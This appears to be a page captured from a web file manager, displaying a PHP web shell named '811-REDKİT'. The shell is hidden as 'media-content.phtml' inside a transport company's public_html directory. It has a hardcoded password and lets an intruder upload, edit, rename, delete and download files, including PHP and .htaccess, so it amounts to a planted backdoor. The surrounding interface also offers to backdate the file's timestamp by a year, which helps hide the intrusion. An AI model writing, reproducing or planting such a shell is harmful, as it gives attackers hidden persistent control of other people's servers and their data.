文件操作 - media-content.phtml
返回文件管理
返回主菜单
删除本文件
文件: /home/tecnoht/public_html/rivatrasporti--com/media-content.phtml
编辑文件内容
<?php declare(strict_types=1); /* ============================================================ 811-REDKİT FILE CONTROL PANEL ============================================================ */ const APP_NAME = '811-REDKİT'; const PANEL_PASSWORD = 'redkit811'; /* * Düzenlenmesine izin verilen dosyalar. */ const EDITABLE_EXTENSIONS = [ 'txt', 'html', 'htm', 'css', 'js', 'json', 'xml', 'md', 'csv', 'ini', 'conf', 'log', 'php', 'php5', 'phtml' ]; /* ========================================================= SESSION ========================================================= */ session_name('REDKIT_SESSION'); session_set_cookie_params([ 'httponly' => true, 'samesite' => 'Strict', 'secure' => ( !empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' ) ]); session_start(); /* ========================================================= CSRF ========================================================= */ if (!isset($_SESSION['csrf'])) { $_SESSION['csrf'] = bin2hex(random_bytes(32)); } function csrf(): string { return $_SESSION['csrf']; } function check_csrf(): void { $token = $_POST['csrf'] ?? ''; if ( !is_string($token) || !hash_equals( $_SESSION['csrf'], $token ) ) { http_response_code(403); exit('CSRF doğrulaması başarısız.'); } } /* ========================================================= HELPERS ========================================================= */ function h(string $value): string { return htmlspecialchars( $value, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8' ); } /* * Güvenli dosya/klasör adı. */ function valid_name(string $name): bool { if ($name === '') { return false; } if ($name === '.') { return false; } if ($name === '..') { return false; } if (strpos($name, "\0") !== false) { return false; } if (strpos($name, '/') !== false) { return false; } if (strpos($name, '\\') !== false) { return false; } return true; } /* * Dizin içindeki child path. */ function child_path( string $directory, string $name ): ?string { if (!valid_name($name)) { return null; } return $directory . DIRECTORY_SEPARATOR . $name; } /* * Relative path. */ function relative_path( string $path, string $root ): string { $realPath = realpath($path); $realRoot = realpath($root); if ( $realPath === false || $realRoot === false ) { return ''; } if ($realPath === $realRoot) { return ''; } $prefix = rtrim( $realRoot, DIRECTORY_SEPARATOR ) . DIRECTORY_SEPARATOR; if ( strpos( $realPath, $prefix ) !== 0 ) { return ''; } return str_replace( DIRECTORY_SEPARATOR, '/', substr( $realPath, strlen($prefix) ) ); } /* * Dosya uzantısı. */ function get_extension( string $name ): string { /* * .htaccess normal extension değildir. */ if ( strcasecmp( $name, '.htaccess' ) === 0 ) { return 'htaccess'; } return strtolower( pathinfo( $name, PATHINFO_EXTENSION ) ); } /* * EDIT KONTROLÜ. * * .htaccess doğrudan burada true. */ function can_edit( string $name ): bool { if ( strcasecmp( trim($name), '.htaccess' ) === 0 ) { return true; } $extension = get_extension($name); return in_array( $extension, EDITABLE_EXTENSIONS, true ); } /* * Boyut. */ function format_size( int $bytes ): string { if ($bytes < 1024) { return $bytes . ' B'; } if ($bytes < 1048576) { return number_format( $bytes / 1024, 1 ) . ' KB'; } if ($bytes < 1073741824) { return number_format( $bytes / 1048576, 1 ) . ' MB'; } return number_format( $bytes / 1073741824, 1 ) . ' GB'; } /* ========================================================= ROOT ========================================================= */ $ROOT = realpath(__DIR__); if ($ROOT === false) { exit('Root dizini bulunamadı.'); } /* ========================================================= LOGIN ========================================================= */ $login_error = ''; if (isset($_POST['login'])) { $password = $_POST['password'] ?? ''; if ( is_string($password) && hash_equals( PANEL_PASSWORD, $password ) ) { session_regenerate_id(true); $_SESSION['logged_in'] = true; $_SESSION['csrf'] = bin2hex( random_bytes(32) ); header( 'Location: ' . $_SERVER['PHP_SELF'] ); exit; } $login_error = 'ACCESS DENIED'; } /* ========================================================= LOGOUT ========================================================= */ if (isset($_GET['logout'])) { $_SESSION = []; session_destroy(); header( 'Location: ' . $_SERVER['PHP_SELF'] ); exit; } /* ========================================================= LOGIN SCREEN ========================================================= */ if ( empty( $_SESSION['logged_in'] ) ): ?> <!DOCTYPE html> <html lang="tr"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width,initial-scale=1" > <title> 811-REDKİT :: ACCESS </title> <style> *{ box-sizing:border-box; } html, body{ margin:0; min-height:100%; background:#020403; color:#b9ffca; font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, monospace; } body{ min-height:100vh; display:flex; align-items:center; justify-content:center; padding:20px; } .login{ width:min( 430px, 100% ); padding:30px; background:#07100a; border:1px solid #1eff70; box-shadow: 0 0 35px rgba( 30, 255, 112, .10 ); } .logo{ color:#1eff70; font-size:28px; font-weight:900; letter-spacing:5px; } .sub{ margin-top:6px; margin-bottom:25px; color:#4d825b; font-size:11px; } .login input{ width:100%; padding:14px; background:#020403; border:1px solid #225d33; color:#b9ffca; outline:none; font:inherit; } .login input:focus{ border-color:#1eff70; } .login button{ width:100%; margin-top:10px; padding:13px; background:#09200e; border:1px solid #1eff70; color:#1eff70; font:inherit; cursor:pointer; } .login button:hover{ background:#0d3217; } .error{ margin-top:15px; color:#ff6666; } </style> </head> <body> <div class="login"> <div class="logo"> 811-REDKİT </div> <div class="sub"> SECURE FILE CONTROL // AUTH REQUIRED </div> <form method="post"> <input type="password" name="password" placeholder="ACCESS KEY" autocomplete="current-password" required > <button type="submit" name="login" value="1" > [ AUTHENTICATE ] </button> </form> <?php if ($login_error): ?> <div class="error"> [-] <?=h($login_error)?> </div> <?php endif; ?> </div> </body> </html> <?php exit; endif; /* ========================================================= CURRENT DIRECTORY ========================================================= */ $requested = trim( str_replace( '\\', '/', (string)( $_GET['path'] ?? '' ) ), '/' ); $CURRENT = $ROOT; if ($requested !== '') { $candidate = realpath( $ROOT . DIRECTORY_SEPARATOR . $requested ); $rootPrefix = rtrim( $ROOT, DIRECTORY_SEPARATOR ) . DIRECTORY_SEPARATOR; if ( $candidate !== false && is_dir($candidate) && strpos( $candidate, $rootPrefix ) === 0 ) { $CURRENT = $candidate; } } $currentPath = relative_path( $CURRENT, $ROOT ); /* ========================================================= ACTIONS ========================================================= */ $message = ''; $error = ''; if ( $_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) ) { check_csrf(); $action = (string)$_POST['action']; /* ===================================================== UPLOAD ===================================================== */ if ($action === 'upload') { if ( !isset($_FILES['file']) || !is_array($_FILES['file']) ) { $error = 'Upload verisi alınamadı.'; } elseif ( $_FILES['file']['error'] !== UPLOAD_ERR_OK ) { $error = 'Upload başarısız.'; } else { $name = basename( (string) $_FILES['file']['name'] ); $destination = child_path( $CURRENT, $name ); if ( $destination === null ) { $error = 'Geçersiz dosya adı.'; } elseif ( file_exists( $destination ) ) { $error = 'Bu dosya zaten mevcut.'; } elseif ( !is_uploaded_file( $_FILES['file']['tmp_name'] ) ) { $error = 'Geçersiz upload.'; } elseif ( move_uploaded_file( $_FILES['file']['tmp_name'], $destination ) ) { $message = 'UPLOAD COMPLETE :: ' . $name; } else { $error = 'Dosya yüklenemedi.'; } } } /* ===================================================== MKDIR ===================================================== */ elseif ($action === 'mkdir') { $name = trim( (string)( $_POST['name'] ?? '' ) ); $directory = child_path( $CURRENT, $name ); if ( $directory === null ) { $error = 'Geçersiz klasör adı.'; } elseif ( file_exists( $directory ) ) { $error = 'Bu isim zaten mevcut.'; } elseif ( mkdir( $directory, 0755 ) ) { $message = 'DIRECTORY CREATED :: ' . $name; } else { $error = 'Klasör oluşturulamadı.'; } } /* ===================================================== RENAME ===================================================== */ elseif ($action === 'rename') { $old = basename( (string)( $_POST['old'] ?? '' ) ); $new = trim( (string)( $_POST['new'] ?? '' ) ); $oldPath = child_path( $CURRENT, $old ); $newPath = child_path( $CURRENT, $new ); if ( $oldPath === null || $newPath === null ) { $error = 'Geçersiz isim.'; } elseif ( !file_exists($oldPath) ) { $error = 'Öğe bulunamadı.'; } elseif ( file_exists($newPath) ) { $error = 'Yeni isim zaten mevcut.'; } elseif ( rename( $oldPath, $newPath ) ) { $message = 'RENAMED :: ' . $old . ' → ' . $new; } else { $error = 'Rename başarısız.'; } } /* ===================================================== DELETE ===================================================== */ elseif ($action === 'delete') { $name = basename( (string)( $_POST['name'] ?? '' ) ); $path = child_path( $CURRENT, $name ); if ( $path === null || !file_exists($path) ) { $error = 'Öğe bulunamadı.'; } elseif ( is_dir($path) ) { $contents = scandir($path); if ( $contents !== false && count($contents) > 2 ) { $error = 'Klasör boş değil.'; } elseif ( rmdir($path) ) { $message = 'DIRECTORY DELETED :: ' . $name; } else { $error = 'Klasör silinemedi.'; } } elseif ( unlink($path) ) { $message = 'FILE DELETED :: ' . $name; } else { $error = 'Dosya silinemedi.'; } } /* ===================================================== SAVE ===================================================== */ elseif ($action === 'save') { $name = basename( (string)( $_POST['name'] ?? '' ) ); $content = (string)( $_POST['content'] ?? '' ); $path = child_path( $CURRENT, $name ); if ( $path === null || !is_file($path) ) { $error = 'Dosya bulunamadı.'; } elseif ( !can_edit($name) ) { $error = 'Bu dosya düzenlenemez.'; } elseif ( strlen($content) > 5 * 1024 * 1024 ) { $error = 'Dosya 5 MB sınırını aşıyor.'; } elseif ( file_put_contents( $path, $content, LOCK_EX ) !== false ) { $message = 'FILE SAVED :: ' . $name; } else { $error = 'Dosya kaydedilemedi.'; } } /* ===================================================== DOWNLOAD ===================================================== */ elseif ($action === 'download') { $name = basename( (string)( $_POST['name'] ?? '' ) ); $path = child_path( $CURRENT, $name ); if ( $path === null || !is_file($path) ) { $error = 'Dosya bulunamadı.'; } else { header( 'Content-Type: ' . 'application/octet-stream' ); header( 'Content-Disposition: attachment; filename="' . basename($path) . '"' ); header( 'X-Content-Type-Options: nosniff' ); header( 'Content-Length: ' . filesize($path) ); readfile($path); exit; } } } /* ========================================================= EDITOR ========================================================= */ $editFile = ''; $editContent = ''; if (isset($_GET['edit'])) { $name = basename( (string)$_GET['edit'] ); $path = child_path( $CURRENT, $name ); if ( $path !== null && is_file($path) && can_edit($name) ) { $editFile = $name; $content = file_get_contents($path); if ( $content !== false ) { $editContent = $content; } } } /* ========================================================= DIRECTORY LIST ========================================================= */ $items = []; $scan = scandir($CURRENT); if ($scan !== false) { foreach ($scan as $name) { if ( $name === '.' || $name === '..' ) { continue; } $path = $CURRENT . DIRECTORY_SEPARATOR . $name; $directory = is_dir($path); $items[] = [ 'name' => $name, 'directory' => $directory, 'size' => $directory ? 0 : (int)( @filesize($path) ?: 0 ), 'time' => (int)( @filemtime($path) ?: 0 ) ]; } } usort( $items, function( array $a, array $b ): int { if ( $a['directory'] !== $b['directory'] ) { return $a['directory'] ? -1 : 1; } return strcasecmp( $a['name'], $b['name'] ); } ); /* ========================================================= PARENT ========================================================= */ $parent = ''; if ( $currentPath !== '' ) { $parts = explode( '/', $currentPath ); array_pop($parts); $parent = implode( '/', $parts ); } ?> <!DOCTYPE html> <html lang="tr"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1" > <title> 811-REDKİT :: FILE CONTROL </title> <style> /* ========================================================= BASE ========================================================= */ *{ box-sizing:border-box; } html, body{ margin:0; padding:0; min-height:100%; background:#020403; color:#c0ffcf; font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, monospace; } body{ padding:10px; } a{ color:inherit; text-decoration:none; } button, input, textarea{ font-family:inherit; } /* ========================================================= MAIN ========================================================= */ .container{ width:100%; max-width:1400px; margin:0 auto; } /* ========================================================= HEADER ========================================================= */ .header{ background: linear-gradient( 135deg, #07120a, #030604 ); border:1px solid #18562b; padding:16px; box-shadow: 0 0 30px rgba( 30, 255, 112, .06 ); } .header-row{ display:flex; align-items:center; justify-content:space-between; gap:15px; flex-wrap:wrap; } .logo{ color:#1eff70; font-size:27px; font-weight:900; letter-spacing:4px; text-shadow: 0 0 12px rgba( 30, 255, 112, .25 ); } .status{ color:#4e9861; margin-top:4px; font-size:10px; letter-spacing:1px; } .path{ margin-top:13px; padding:11px; background:#020503; border:1px solid #123c20; color:#73ff92; overflow:auto; white-space:nowrap; font-size:11px; } /* ========================================================= BUTTONS ========================================================= */ .btn, button{ display:inline-flex; align-items:center; justify-content:center; min-height:34px; padding:7px 10px; background:#071b0d; color:#8effa8; border:1px solid #236b38; font:inherit; font-size:11px; cursor:pointer; transition:.15s ease; } .btn:hover, button:hover{ background:#0d2b15; border-color:#1eff70; box-shadow: 0 0 10px rgba( 30, 255, 112, .08 ); } .danger{ color:#ff7777; border-color:#713333; background:#190909; } .danger:hover{ color:#ff9999; border-color:#ff5555; background:#280c0c; } /* ========================================================= PANEL ========================================================= */ .panel{ margin-top:12px; background:#07100a; border:1px solid #153d22; overflow:hidden; } .toolbar{ padding:10px; display:flex; align-items:center; gap:7px; flex-wrap:wrap; border-bottom:1px solid #153d22; } .toolbar form{ display:flex; align-items:center; gap:5px; flex-wrap:wrap; } input{ min-height:34px; padding:7px 9px; background:#020403; border:1px solid #205b31; color:#c0ffcf; outline:none; font-size:11px; } input:focus{ border-color:#1eff70; } .search{ flex:1; min-width:180px; } /* ========================================================= ALERT ========================================================= */ .message, .error{ margin-top:12px; padding:11px 13px; border:1px solid #236b38; background:#061009; color:#73ff92; font-size:11px; } .error{ border-color:#713333; background:#130808; color:#ff7777; } /* ========================================================= TABLE ========================================================= */ .table-wrap{ width:100%; overflow-x:auto; } table{ width:100%; min-width:750px; border-collapse:collapse; } th{ padding:11px; text-align:left; color:#4d9160; font-size:9px; letter-spacing:1px; border-bottom:1px solid #163d21; } td{ padding:10px; border-bottom:1px solid #102518; font-size:11px; vertical-align:middle; } tr:hover{ background:#09150c; } .file-name{ word-break:break-all; } .folder{ color:#1eff70; font-weight:bold; } .meta{ color:#568164; font-size:10px; } .actions{ display:flex; flex-wrap:wrap; gap:4px; } .inline{ display:inline; } .inline button{ min-height:30px; padding:5px 8px; } /* ========================================================= EDITOR ========================================================= */ .editor{ margin-top:12px; background:#050905; border:1px solid #1b7135; box-shadow: 0 0 25px rgba( 30, 255, 112, .05 ); } .editor-head{ padding:11px 13px; border-bottom:1px solid #164a27; display:flex; align-items:center; justify-content:space-between; gap:10px; flex-wrap:wrap; } .editor-title{ color:#1eff70; font-size:11px; } textarea{ width:100%; min-height:550px; display:block; resize:vertical; padding:15px; border:0; outline:none; background:#020403; color:#c0ffcf; font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, monospace; font-size:13px; line-height:1.55; tab-size:4; } .savebar{ padding:10px; border-top:1px solid #164a27; } /* ========================================================= FOOTER ========================================================= */ .footer{ text-align:center; padding:18px 5px; color:#315d3b; font-size:9px; } /* ========================================================= MOBILE ========================================================= */ @media(max-width:700px){ body{ padding:6px; } .header{ padding:12px; } .logo{ font-size:20px; letter-spacing:3px; } .header-row{ align-items:stretch; } .header-row > .btn{ width:100%; } .toolbar{ display:grid; grid-template-columns:1fr; gap:7px; } .toolbar form{ width:100%; display:grid; grid-template-columns:1fr; } .toolbar form input{ width:100%; } .toolbar form button{ width:100%; } .search{ width:100%; min-width:0; } .path{ font-size:9px; } .editor textarea{ min-height:420px; font-size:12px; } } /* ========================================================= SMALL MOBILE ========================================================= */ @media(max-width:420px){ .logo{ font-size:17px; } .status{ font-size:8px; } .editor textarea{ min-height:350px; padding:10px; font-size:11px; } } </style> <script> /* ========================================================= SEARCH ========================================================= */ function searchFiles(){ const input = document.getElementById( 'fileSearch' ); const query = input.value.toLowerCase(); document .querySelectorAll( '[data-name]' ) .forEach( function(row){ const name = row.dataset.name .toLowerCase(); row.style.display = name.includes(query) ? '' : 'none'; } ); } /* ========================================================= RENAME ========================================================= */ function renameItem(name){ const newName = prompt( 'Yeni isim:', name ); if ( newName === null || newName.trim() === '' ) { return; } const form = document.createElement( 'form' ); form.method = 'POST'; form.innerHTML = '<input type="hidden" name="csrf" value="<?=h(csrf())?>">' + '<input type="hidden" name="action" value="rename">' + '<input type="hidden" name="old" value="' + escapeHtml(name) + '">' + '<input type="hidden" name="new" value="' + escapeHtml(newName.trim()) + '">'; document.body.appendChild(form); form.submit(); } /* ========================================================= ESCAPE ========================================================= */ function escapeHtml(value){ return String(value) .replace(/&/g,'&') .replace(/"/g,'"') .replace(/</g,'<') .replace(/>/g,'>'); } /* ========================================================= DELETE CONFIRM ========================================================= */ function confirmDelete(name){ return confirm( 'DELETE :: ' + name + ' ?' ); } </script> </head> <body> <div class="container"> <!-- ===================================================== HEADER ===================================================== --> <div class="header"> <div class="header-row"> <div> <div class="logo"> 811-REDKİT </div> <div class="status"> FILE CONTROL // ONLINE </div> </div> <a class="btn" href="?logout=1" > [ LOGOUT ] </a> </div> <div class="path"> ROOT:// <?=h( $currentPath === '' ? '/' : '/' . $currentPath )?> </div> </div> <!-- ===================================================== ALERTS ===================================================== --> <?php if ($message !== ''): ?> <div class="message"> [+] <?=h($message)?> </div> <?php endif; ?> <?php if ($error !== ''): ?> <div class="error"> [-] <?=h($error)?> </div> <?php endif; ?> <!-- ===================================================== FILE PANEL ===================================================== --> <div class="panel"> <div class="toolbar"> <?php if ($currentPath !== ''): ?> <a class="btn" href="?path=<?=urlencode($parent)?>" > [ .. ] </a> <?php endif; ?> <!-- UPLOAD --> <form method="post" enctype="multipart/form-data" > <input type="hidden" name="csrf" value="<?=h(csrf())?>" > <input type="hidden" name="action" value="upload" > <input type="file" name="file" required > <button type="submit"> [ UPLOAD ] </button> </form> <!-- MKDIR --> <form method="post"> <input type="hidden" name="csrf" value="<?=h(csrf())?>" > <input type="hidden" name="action" value="mkdir" > <input type="text" name="name" placeholder="folder_name" required > <button type="submit"> [ MKDIR ] </button> </form> <!-- SEARCH --> <input id="fileSearch" class="search" type="search" placeholder="search..." oninput="searchFiles()" > </div> <div class="table-wrap"> <table> <thead> <tr> <th>NAME</th> <th>TYPE</th> <th>SIZE</th> <th>MODIFIED</th> <th>ACTIONS</th> </tr> </thead> <tbody> <?php if (!$items): ?> <tr> <td colspan="5"> <span class="meta"> [ EMPTY DIRECTORY ] </span> </td> </tr> <?php endif; ?> <?php foreach ( $items as $item ): ?> <tr data-name="<?=h( $item['name'] )?>" > <!-- NAME --> <td> <?php if ( $item['directory'] ): ?> <a class="btn folder" href="?path=<?=urlencode( ($currentPath !== '' ? $currentPath . '/' : '') . $item['name'] )?>" > 📁 <?=h($item['name'])?> </a> <?php else: ?> <span class="file-name"> □ <?=h($item['name'])?> </span> <?php endif; ?> </td> <!-- TYPE --> <td class="meta"> <?= $item['directory'] ? 'DIRECTORY' : 'FILE' ?> </td> <!-- SIZE --> <td class="meta"> <?= $item['directory'] ? '-' : h( format_size( $item['size'] ) ) ?> </td> <!-- TIME --> <td class="meta"> <?= $item['time'] ? h( date( 'Y-m-d H:i', $item['time'] ) ) : '-' ?> </td> <!-- ACTIONS --> <td> <div class="actions"> <?php if ( !$item['directory'] ): ?> <!-- DOWNLOAD --> <form method="post" class="inline" > <input type="hidden" name="csrf" value="<?=h(csrf())?>" > <input type="hidden" name="action" value="download" > <input type="hidden" name="name" value="<?=h( $item['name'] )?>" > <button type="submit"> DL </button> </form> <!-- ===================================================== EDIT ===================================================== --> <?php if ( can_edit( $item['name'] ) ): ?> <a class="btn" href="?path=<?=urlencode( $currentPath )?>&edit=<?=urlencode( $item['name'] )?>" > EDIT </a> <?php endif; ?> <?php endif; ?> <!-- RENAME --> <button type="button" onclick='renameItem( <?=json_encode( $item["name"], JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP )?> )' > REN </button> <!-- DELETE --> <form method="post" class="inline" onsubmit='return confirmDelete( <?=json_encode( $item["name"], JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP )?> )' > <input type="hidden" name="csrf" value="<?=h(csrf())?>" > <input type="hidden" name="action" value="delete" > <input type="hidden" name="name" value="<?=h( $item['name'] )?>" > <button type="submit" class="danger" > DEL </button> </form> </div> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> </div> <!-- ===================================================== EDITOR ===================================================== --> <?php if ( $editFile !== '' ): ?> <div class="editor"> <div class="editor-head"> <div class="editor-title"> EDITOR :: <strong> <?=h($editFile)?> </strong> </div> <div class="meta"> <?=h( format_size( strlen( $editContent ) ) )?> </div> </div> <form method="post"> <input type="hidden" name="csrf" value="<?=h(csrf())?>" > <input type="hidden" name="action" value="save" > <input type="hidden" name="name" value="<?=h( $editFile )?>" > <textarea name="content" spellcheck="false" autocomplete="off" autocorrect="off" autocapitalize="off" ><?=h($editContent)?></textarea> <div class="savebar"> <button type="submit"> [ SAVE FILE ] </button> </div> </form> </div> <?php endif; ?> <div class="footer"> 811-REDKİT // FILE CONTROL SYSTEM // SESSION PROTECTED </div> </div> </body> </html>
修改文件时间
将文件时间修改为当前时间的前一年
删除文件